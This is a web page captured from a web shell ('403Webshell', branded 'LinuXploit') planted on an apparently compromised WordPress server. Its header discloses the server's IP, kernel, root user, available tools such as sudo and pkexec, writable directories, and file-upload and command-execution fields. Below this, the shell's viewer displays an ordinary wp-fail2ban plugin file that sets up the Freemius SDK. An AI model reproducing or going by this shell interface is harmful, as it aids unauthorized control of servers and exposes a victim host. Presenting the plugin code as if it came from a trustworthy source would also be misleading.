403Webshell
Server IP : 167.99.224.18  /  Your IP : 216.73.216.136
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux wordpress-ubuntu-s-1vcpu-1gb-nyc1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.0.25
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins-old/wp-fail2ban/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins-old/wp-fail2ban/freemius.php
<?php

declare (strict_types = 1);
/**
 * WP fail2ban premium
 *
 * @package wp-fail2ban
 * @since   4.3.0
 */
namespace org\lecklider\charles\wordpress\wp_fail2ban;

// @codeCoverageIgnoreStart
defined( 'ABSPATH' ) or exit;
/**
 * Freemius integration
 *
 * @since 4.0.0
 */
if ( function_exists( __NAMESPACE__ . '\\wf_fs' ) ) {
    wf_fs()->set_basename( true, WP_FAIL2BAN_FILE );
    return;
} else {
    /**
     * Create a helper function for easy SDK access.
     *
     * @since 4.0.0
     */
    function wf_fs() {
        global $wf_fs;
        if ( !isset( $wf_fs ) ) {
            // Activate multisite network integration.
            if ( !defined( 'WP_FS__PRODUCT_3072_MULTISITE' ) ) {
                define( 'WP_FS__PRODUCT_3072_MULTISITE', true );
            }
            // Include Freemius SDK.
            require_once __DIR__ . '/vendor/freemius/wordpress-sdk/start.php';
            $wf_fs = fs_dynamic_init( array(
                'id'                             => '3072',
                'slug'                           => 'wp-fail2ban',
                'type'                           => 'plugin',
                'public_key'                     => 'pk_146d2c2a5bee3b157e43501ef8682',
                'is_premium'                     => false,
                'has_addons'                     => true,
                'has_paid_plans'                 => true,
                'trial'                          => array(
                    'days'               => 14,
                    'is_require_payment' => true,
                ),
                'menu'                           => array(
                    'slug'    => 'wp-fail2ban-menu',
                    'contact' => !defined( 'WP_FAIL2BAN_FREE_ONLY' ) || false === WP_FAIL2BAN_FREE_ONLY,
                    'support' => true,
                    'network' => true,
                ),
                'bundle_license_auto_activation' => true,
                'is_live'                        => true,
            ) );
        }
        return $wf_fs;
    }

    // Init Freemius.
    $fs = wf_fs();
    // Set currency to GBP
    $fs->add_filter( 'default_currency', function () {
        return 'gbp';
    } );
    // Set custom icon
    $fs->add_filter( 'plugin_icon', function () {
        return __DIR__ . '/assets/icon.png';
    } );
    // Set forum URL
    $fs->add_filter( 'support_forum_url', function () {
        return 'https://forums.invis.net/c/wp-fail2ban/';
    } );
    $fs->add_filter( 'show_delegation_option', '__return_false' );
    $fs->add_filter( 'enable_per_site_activation', '__return_false' );
    if ( !$fs->is_paying() && defined( 'WP_FAIL2BAN_FREE_ONLY' ) && false !== WP_FAIL2BAN_FREE_ONLY ) {
        $fs->add_filter(
            'show_admin_notice',
            function ( $show, array $msg ) {
                return 'promotion' != $msg['type'];
            },
            WP_FS__DEFAULT_PRIORITY,
            2
        );
    } else {
        // TODO: $fs->add_filter('trial_promotion_message',
    }
    $fs->override_i18n( array(
        'yee-haw' => __( 'Congratulations', 'wp-fail2ban' ),
    ) );
    // Signal that SDK was initiated.
    do_action( 'wf_fs_loaded' );
    require_once __DIR__ . '/functions.php';
    require_once __DIR__ . '/init.php';
}

Youez - 2016 - github.com/yon3zu
LinuXploit